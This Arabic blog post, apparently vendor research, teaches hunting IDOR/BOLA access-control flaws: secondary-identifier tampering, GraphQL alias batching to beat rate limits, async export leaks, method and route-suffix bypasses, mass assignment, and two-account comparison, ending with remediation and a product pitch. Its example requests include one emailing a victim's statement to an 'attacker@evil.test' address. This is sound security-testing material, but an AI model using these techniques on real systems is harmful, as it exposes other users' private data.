# ‏IDOR يسكن في المعرّف الثاني: العثور على BOLA عبر Shadow Replay بحسابين

> الجميع يعبث بالـ ID في مسار الـ URL؛ والـ ID في المسار هو عادةً المعرّف الذي يتحقق منه التطبيق فعلًا. ثغرة access-control مختبئة في account_id داخل الجسم، وفي مُحلِّل node(id:)، وفي مهمة الـ PDF غير المتزامنة، وفي طلب PUT لم ترسله قط. إليك أين يسكن BOLA حقًا وكيف تقارنه في حسابين.

**Key takeaways:**
- معرّف المسار هو الطُّعم: تتحقق التطبيقات من المفتاح الأساسي في الـ URL لكنها تثق بشكل أعمى في معرّف ثانوي — account_id/org_id/tenant_id في جسم JSON أو ترويسة X-Account-Id. غيّر ذلك الحقل وحده واترك المسار كما هو.
- ‏GraphQL alias batching (‏a: node(id:"1"){...} b: node(id:"2"){...}) يُعدِّد في طلب واحد، ويتجاوز حدود المعدّل المفروضة لكل طلب، ويصيب مُحلِّلات node() التي تتخطى فحص الكائن الذي تفرضه طبقة REST.
- غالبًا لا يعود الكائن في الاستجابة إطلاقًا — بل يتسرّب خارج القناة عبر عملية تصدير أو PDF أو إيصال مُرسَل بالبريد أو webhook مبني من id تتحكم به، لأن فحص authz يقع على القراءة المتزامنة، لا على المهمة غير المتزامنة.
- لا تثق برمز الحالة: فشل ناعم (soft-fail) يعيد 200 بجسم فارغ، وذاكرة تخزين مؤقت تعيد 200 يخصّ شخصًا آخر. تأكّد أن جسم الاستجابة يحتوي بيانات الضحية فعلًا — غياب التباين بين هويتين هو الإشارة.

**Series:** Bug Class Deep Dives  
**Published:** July 4, 2026 · 7 min read  
**Canonical:** https://crusaderproxy.com/research/ar/posts/finding-idor-bola-with-shadow-replay/

---


كل دليل تعليمي عن IDOR يسلّمك التمرين نفسه: اعثر على `/api/orders/48210`، وغيّره إلى `48211`، وابحث عن `200`. هذا التمرين يدرّبك على مهاجمة المعرّف الوحيد الذي يُرجَّح أن يتحقق منه التطبيق. المفتاح الأساسي في مسار الـ URL هو حيث تعيش تعليقة `@authorize` التي يضعها إطار العمل، وحيث تُحصر استعلامات الـ ORM، وحيث تركّزت المراجعة. إنه الطُّعم. تعبث به، وتحصل على استجابات `403`، وتصف النقطة بأنها آمنة، وتمرّ بجوار الثغرة مباشرةً.

لأن الثغرة تكاد لا تكون أبدًا في الـ ID الذي تراه. إنها في المعرّف *الثاني* — ذاك الذي نسي التطبيق أنه معرّف من الأساس.

> **معرّف المسار هو الذي يتحققون منه. أما الثغرة فتسكن في المعرّف الثاني الذي يحمله الطلب — الـ account_id في الجسم، والمستأجر في ترويسة، والـ id في الـ GraphQL alias — ذاك الذي لم يكتب له أحد قاعدة authorization.**

## غيّر المعرّف الثانوي، لا المسار

إليك الشكل الذي يؤتي ثماره. يحصر الطلب كائنًا بطريقتين في آنٍ واحد: معرّف موردٍ في المسار، ومعرّف *ملكية* في مكان آخر — حقل JSON، أو ترويسة، أو قيمة نموذج مخفية. معرّف المسار تتم المصادقة عليه. أما معرّف الملكية فيُوثَق به *ثقةً عمياء*.

```
POST /api/v2/reports/generate HTTP/2
authorization: Bearer <attacker token>
content-type: application/json

{ "report_id": "attacker-owned-uuid",
  "account_id": 5561,          ← victim's account, not yours
  "format": "pdf" }
```

الـ `report_id` يخصّك، فيمرّ كل فحص على مستوى المورد بسلاسة. لكن `account_id` هو الذي يقرّر *بيانات مَن* يحتويها التقرير، والمعالِج يقرأه مباشرةً من الجسم دون أن يسأل ما إذا كانت جلستك مخوّلة للوصول إلى الحساب `5561`. اترك المسار كما هو. غيّر **فقط** الـ `account_id` — أو `org_id`، أو `tenant_id`، أو ترويسة `X-Account-Id` التي تحمل المعنى نفسه خارج القناة. هذه هي الحركة التي لا يقوم بها معظم الصيّادين، لأن الدليل التعليمي درّب رد الفعل الخاطئ.

## ‏GraphQL: يحوّل alias batching طلبًا واحدًا إلى ألف

‏GraphQL هو حيث تذهب فحوصات مستوى الكائن لتموت، لأن جلب الكائن يتم عبر مُحلِّل مشترك — `node(id:)` — يُوصَل إليه من عشرات الاستعلامات، والـ authorization الذي رُكِّب على كل مسار في طبقة REST كثيرًا ما لم يصل إلى ذلك المُحلِّل الواحد. ثم يسلّمك GraphQL مُضاعِف قوة: **الـ aliases**.

```graphql
query {
  a: node(id: "VXNlcjox")   { ... on Invoice { id total customer } }
  b: node(id: "VXNlcjoy")   { ... on Invoice { id total customer } }
  c: node(id: "VXNlcjoz")   { ... on Invoice { id total customer } }
  # …200 more aliases in one HTTP request
}
```

يحدث أمران في آنٍ واحد. أولًا، تُعدِّد 200 كائنًا في طلب POST *واحد* — وبما أن معظم محدِّدات المعدّل تعدّ طلبات HTTP، لا استدعاءات المُحلِّلات، فإنك تنساب تحت حدٍّ لكل طلب كان سيخنق 200 استدعاء REST. ثانيًا، تمرّ الـ 200 كلها عبر مُحلِّل `node()`، وهو مسار الشيفرة الذي يميل إلى إغفال فحص مستوى الكائن الذي كانت تملكه نقطة REST. تعداد دُفعي وأضعف فحص في النظام، في طلب واحد. فُكّ ترميز الـ IDs أولًا — عادةً base64 مثل `Invoice:41` — ثم زِد الرقم، وأعد الترميز، وأنشئ الـ alias.

## ‏IDOR من الدرجة الثانية: الكائن يغادر عبر باب جانبي

أخبث المتغيّرات لا يعيد الكائن أبدًا في الاستجابة التي تنظر إليها. تطلب عملية تصدير، أو تقريرًا، أو PDF، أو إيصالًا، أو webhook — وتغادر البيانات الحساسة المبنى *بشكل غير متزامن*، مُولَّدة من مهمة خلفية اعتمادًا على id قدّمته أنت.

```
POST /api/statements/email HTTP/2
authorization: Bearer <attacker token>

{ "statement_id": 88120, "deliver_to": "attacker@evil.test" }
```

الاستجابة المتزامنة هي `202 Accepted { "job": "queued" }` باهتة — لا كائن، ولا تسريب، ولا شيء تلتقطه المقارنة. ثم يبني عاملٌ البيان `88120` (الخاص بالضحية) ويُرسل الـ PDF بالبريد إلى عنوانك *أنت*. كُتب فحص authz على القراءة المتزامنة `GET /api/statements/88120`، التي تعيد `403` بشكل صحيح. لم يتحقق أحد من المهمة غير المتزامنة التي تعرض الكائن نفسه. راقب ما *يغادر النظام* — البريد، ورابط الملف المولَّد، وحمولة الـ webhook — لا مجرد استجابة HTTP.

## الطريقة (method) التي نسيها authz، والمسار الذي يتخطى الفحص

كثيرًا ما يُفرَض authorization على `GET` ويغيب بهدوء عن الأفعال التي تعدّل:

```
GET    /api/documents/7781   → 403   (checked)
PATCH  /api/documents/7781   → 200   (not checked — you just edited the victim's doc)
DELETE /api/documents/7781   → 204   (not checked)
```

كما أن شذوذات التوجيه تتخطى الفحوصات المبنية على المسار تمامًا. يمكن للاحقة `.json`، أو matrix parameter، أو شرطة مائلة زائدة في النهاية أن تغيّر أي نمط مسار يتطابق — وأي middleware يُطلَق:

```
GET /api/documents/7781        → 403
GET /api/documents/7781.json   → 200   ← different route match, check bypassed
GET /api/documents/7781;x=1    → 200   ← matrix param defeats the path regex
GET /api/documents/7781/       → 200   ← trailing slash, different handler
```

كان الفحص مثبَّتًا بنمط مسار دقيق؛ وأي شيء يطابق نمطًا *مختلفًا* يصل إلى وحدة التحكم نفسها يعمل بلا حماية.

## الإسناد الجماعي (mass assignment) هو IDOR على الكتابة

ابن العم في جانب الكتابة: نشر زائد (over-posting) لحقل ملكية عند الإنشاء أو التحديث. إذا ربط الخادم جسم JSON بأكمله بنموذج، فإنك تُسنِد إلى نفسك كائن شخص آخر — أو تسلّم كائنك لشخص آخر.

```
PATCH /api/tickets/9004 HTTP/2

{ "title": "updated", "owner_id": 5561 }   ← reassign ownership you don't own
```

السبب الجذري نفسه كما في IDOR على القراءة: يثق التطبيق بمعرّف في الجسم كان ينبغي له اشتقاقه من الجلسة. جرّب `user_id`، و`owner_id`، و`account_id`، و`role`، و`is_admin` في كل عملية إنشاء وتحديث.

## فخ الكشف: استجابة 200 ليست اكتشافًا

هنا يحرق الصيّادون ساعات ويرفعون بلاغات خاطئة. **رمز الحالة يكذب في اتجاهين.**

الفشل الناعم (**soft-fail**) يعيد `200` بجسم فارغ أو مُنقَّح — التقط التطبيق فشل authz وتدهور بلطف. تسجّل `200`، وتحتفل، ولا توجد فيه أي بيانات للضحية. أما ذاكرة التخزين المؤقت أو الـ CDN فتعيد `200` يخصّ شخصًا آخر — مفتاح تخزين مشترك يقدّم كائن الضحية المخزّن لطلبك، مطابقٌ في الظاهر لكنه ثغرة تخزين مؤقت (بلّغ عنها، فسببها الجذري مختلف). في الحالتين: **تأكّد أن جسم الاستجابة يحتوي فعلًا على بيانات الضحية المحددة** — اسمه، وإجماليه، وسجلّه — لا مجرد `200`.

ولاحظ *أي حدٍّ تجاوزته*. ‏IDOR داخل المستأجر نفسه (ترى مستخدمًا آخر في منظمتك) حقيقي لكنه محدود. أما الوصول عبر *المستأجرين* (تقرأ بيانات شركة أخرى) فهو طبقة خطورة مختلفة ومكافأة مختلفة. اذكر الحد دائمًا في التقرير.

هذا بالضبط سبب أن الـ UUIDs لا تنقذ المدافع ولا ينبغي أن تُرهبك. الفحص ما زال مفقودًا؛ أنت فقط تحصد المعرّف بدل تخمينه. اسحب الـ UUIDs من رسائل التأكيد بالبريد، وترويسات `Referer`، وترويسة `Location` على `201 Created`، والإحالات المتبادلة المدفونة في استجابات API غير ذات صلة. بل إن UUIDv1 يسرّب طابعًا زمنيًا وعنوان MAC يمكنك تضييق نطاقهما. الـ GUID غموض، لا authorization.

## ‏Shadow Replay: قارِن هويتين، وابحث عن غياب التباين

الطريقة الموثوقة للفصل بين اكتشاف حقيقي ورمز حالة كاذب هي أن تشغّل الطلب نفسه بصفة هويتين وتقرأ الفرق. التقط هويتين محفوظتين: **مهاجمًا** منخفض الصلاحيات و**ضحية** يملك كائنات مختلفة. أعد تشغيل كل طلب يشير إلى كائن بصفة كلٍّ منهما. الإشارة التي تريدها هي **غياب التباين**.

```
# Victim legitimately fetches their invoice:
GET /api/invoices/90431 HTTP/2
authorization: Bearer <victim token>
→ 200 OK   { "id": 90431, "customer": "Northwind Ltd", "total": 8820 }

# Shadow-replayed as the attacker, same object id, nothing else changed:
GET /api/invoices/90431 HTTP/2
authorization: Bearer <attacker token>
→ 200 OK   { "id": 90431, "customer": "Northwind Ltd", "total": 8820 }   ← attacker must never see this
```

إذا حصل الضحية على `200` مع الكائن وحصل المهاجم على `403`/`404`، فإن authorization يعمل — وهذا هو التباين الذي *تريده*. أما إذا أعاد **كلاهما** `200` بنفس **الجسم**، فقد اختفى التباين ومعه اختفى access control. حسابان غير مرتبطين، وكائن واحد، وبايتات متطابقة: هذا هو الاكتشاف، والمقارنة تجعله واضحًا في لمحة واحدة بدل عشر عمليات تسجيل دخول يدوية.

## المعالجة

الإصلاح ليس أبدًا "أضِف فحصًا في الأعلى". احصر كل جلب لكائن على الجهة الموثَّقة عند طبقة البيانات: `SELECT * FROM invoices WHERE id = ? AND account_id = <session.account_id>`، بحيث يعيد id لا تملكه صفر صفوف مهما ادّعى الجسم. اشتقّ الملكية من الجلسة، لا من `account_id` أو ترويسة أو حقل جسم يزوّده العميل. طبّق شرط `WHERE` المطابق على الكتابة وعلى المهمة غير المتزامنة — فعامل التصدير وعارض الـ PDF يحتاجانه أيضًا. ضع قائمة سماح بالحقول القابلة للربط لقتل mass assignment، وتحقّق لكل كائن عند المُحلِّل، لا لكل مسار في middleware يمكن للاحقة `.json` تجاوزها.

## الخلاصة

‏IDOR ليست صعبة الإيجاد؛ الصعب هو إيجادها *حيث لا تنظر*. يثبّت الدليل التعليمي نظرك على معرّف المسار الذي يتحقق منه التطبيق شبه المؤكّد، بينما تجلس الثغرة الحقيقية في المعرّف الثاني، والـ alias المُدفَّع، والإيصال غير المتزامن، وطلب `PATCH` الذي لم تجرّبه قط. كل ذلك منطق أعمال لا يستطيع أي فاحص تأكيده، لأن تأكيده يحتاج إلى ضحية معروفة للمقارنة بها. وكما هي الحال مع [الفوز بثغرات حالة السباق (race condition)]({{< relref path="posts/winning-the-race-condition-bugs.md" lang="en" >}})، كانت الثغرة موجودة دائمًا؛ والطريقة هي ما يُظهرها.

هذا ما صُمّم من أجله Shadow Replay في Crusader: عرّف هوية مهاجم وهوية ضحية مرة واحدة، ثم أعد تشغيل أي طلب بصفة كلٍّ منهما واقرأ الفرق — عبر HTTP/2، لأهداف الويب والجوّال والذكاء الاصطناعي. وجّهه إلى كل طلب يشير إلى كائن في سجلّك، وغيّر المعرّف الثانوي، وترقّب الاستجابة التي يجب ألا تتطابق لكنها تتطابق. [نزّل Crusader مجانًا](https://crusaderproxy.com/#install).


---

*Original research by Crusader Research. Try Crusader free: https://crusaderproxy.com/#install*
